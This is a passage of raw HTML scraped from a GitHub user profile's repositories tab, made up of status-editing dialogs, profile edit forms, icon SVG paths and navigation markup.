111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" ws-normal user-status-message-wrapper f6 min-width-0" > <div class="css-truncate css-truncate-target width-fit color-fg-default"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=1&compact=0&link_mentions=1&truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="TROZQ1psazHuv4SfB_6CRG81LOswktW22NJDqz2bjfsh_3WyNIJmw91nORchhJS4niNrCWbssHaAEqHwSouerQ" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-false" id="limited-availability-truncate-false-compact-false"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-false"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-false"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> </div> </div> <div class="vcard-names-container float-left js-profile-editable-names col-12 py-3 js-sticky js-user-profile-sticky-fields" > <h1 class="vcard-names "> <span class="p-name vcard-fullname d-block overflow-hidden" itemprop="name"> </span> <span class="p-nickname vcard-username d-block" itemprop="additionalName"> chikitang </span> </h1> </div> </div> <div class="mb-2 user-status-container d-md-none"> <div class="js-user-status-container rounded-2 px-2 py-1 mt-2 border" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" role="menuitem" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_USER_STATUS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center lh-condensed-ultra v-align-bottom"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" user-status-message-wrapper f6 min-width-0" style="line-height: 20px;" > <div class="css-truncate css-truncate-target width-fit color-fg-default text-left"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=0&compact=1&link_mentions=1&truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="SOdH-f-2peym7Q5DQYTnVoMgrDIwG-wMjYJooZiAkyQkC6sIkVioHpU1s8tn_vGqcjbr0GZliczVQor675CAcg" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-true" id="limited-availability-truncate-false-compact-true"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div class="d-flex flex-column"> <div class="flex-order-1 flex-md-order-none"> <div class="d-flex flex-lg-row flex-md-column"> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form hidden="hidden" class="position-relative flex-auto js-profile-editable-form" data-turbo="false" action="/users/chikitang" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="iwkVToBnjXFFdNjInjG45Uav3_DZUvm96ztLPa7SIYzz2alJxKqJKkcLPLY81dLs-VRRaZXtdnzRx1yISU3dcQ" /> <div class="mb-1 mb-2"> <label for="user_profile_name" class="d-block mb-1">Name</label> <input class="width-full form-control" id="user_profile_name" placeholder="Name" aria-label="Name" name="user[profile_name]" value=""> </div> <div class="js-length-limited-input-container"> <label for="user_profile_bio" class="d-block mb-1">Bio</label> <text-expander keys=": @" data-emoji-url="/autocomplete/emoji" data-mention-url="/autocomplete/user-suggestions"> <textarea class="form-control js-length-limited-input mb-1 width-full js-user-profile-bio-edit" id="user_profile_bio" name="user[profile_bio]" placeholder="Add a bio" aria-label="Add a bio" rows="3" data-input-max-length="160" data-warning-text="{{remaining}} remaining"></textarea> <div class="d-none js-length-limited-input-warning user-profile-bio-message text-right m-0"></div> </text-expander> <p class="note"> You can <strong>@mention</strong> other users and organizations to link to them. </p> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-organization"> <path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Company" aria-label="Company" name="user[profile_company]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-location"> <path fill-rule="evenodd" d="M11.536 3.464a5 5 0 010 7.072L8 14.07l-3.536-3.535a5 5 0 117.072-7.072v.001zm1.06 8.132a6.5 6.5 0 10-9.192 0l3.535 3.536a1.5 1.5 0 002.122 0l3.535-3.536zM8 9a2 2 0 100-4 2 2 0 000 4z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Location" aria-label="Location" name="user[profile_location]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link"> <path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Website" aria-label="Website" name="user[profile_blog]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center" > <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 273.5 222.3" height="16" width="16"><title>Twitter</title><path d="M273.5 26.3a109.77 109.77 0 0 1-32.2 8.8 56.07 56.07 0 0 0 24.7-31 113.39 113.39 0 0 1-35.7 13.6 56.1 56.1 0 0 0-97 38.4 54 54 0 0 0 1.5 12.8A159.68 159.68 0 0 1 19.1 10.3a56.12 56.12 0 0 0 17.4 74.9 56.06 56.06 0 0 1-25.4-7v.7a56.11 56.11 0 0 0 45 55 55.65 55.65 0 0 1-14.8 2 62.39 62.39 0 0 1-10.6-1 56.24 56.24 0 0 0 52.4 39 112.87 112.87 0 0 1-69.7 24 119 119 0 0 1-13.4-.8 158.83 158.83 0 0 0 86 25.2c103.2 0 159.6-85.5 159.6-159.6 0-2.4-.1-4.9-.2-7.3a114.25 114.25 0 0 0 28.1-29.1" fill="currentColor"></path></svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Twitter username" aria-label="Twitter username" name="user[profile_twitter_username]" value="" > </div> <div class="my-3"> <div class="js-profile-editable-error color-fg-danger my-3"></div> <button type="submit" data-view-component="true" class="btn-primary btn-sm btn"> Save </button> <button type="reset" data-view-component="true" class="js-profile-editable-cancel btn-sm btn"> Cancel </button> </div> </form> </div> <div class="js-profile-editable-area d-flex flex-column d-md-block"> <div class="p-note user-profile-bio mb-3 js-user-profile-bio f4" data-bio-text="" hidden></div> <div class="mb-3"> <button name="button" type="button" class="btn btn-block js-profile-editable-edit-button" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"INLINE_EDIT_BUTTON","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="61c43523f3cefbffa175f42d94926965a2c009a1d69d82f4bd8aee8c11a19dc8">Edit profile</button> </div> <ul class="vcard-details"> <li title="Member since" class="vcard-detail pt-1 css-truncate css-truncate-target "><svg class="octicon octicon-clock" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zm.5 4.75a.75.75 0 00-1.5 0v3.5a.75.75 0 00.471.696l2.5 1a.75.75 0 00.557-1.392L8.5 7.742V4.75z"></path></svg> <span class="join-label">Joined </span> <relative-time datetime="2022-06-08T03:50:24Z" class="no-wrap">Jun 7, 2022</relative-time> </li> </ul> </div> </div> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav user-profile-nav d-block d-md-none position-sticky top-0 pl-3 ml-n3 mr-n3 pr-3 color-bg-default" style="z-index:3;" > <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_OVERVIEW","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 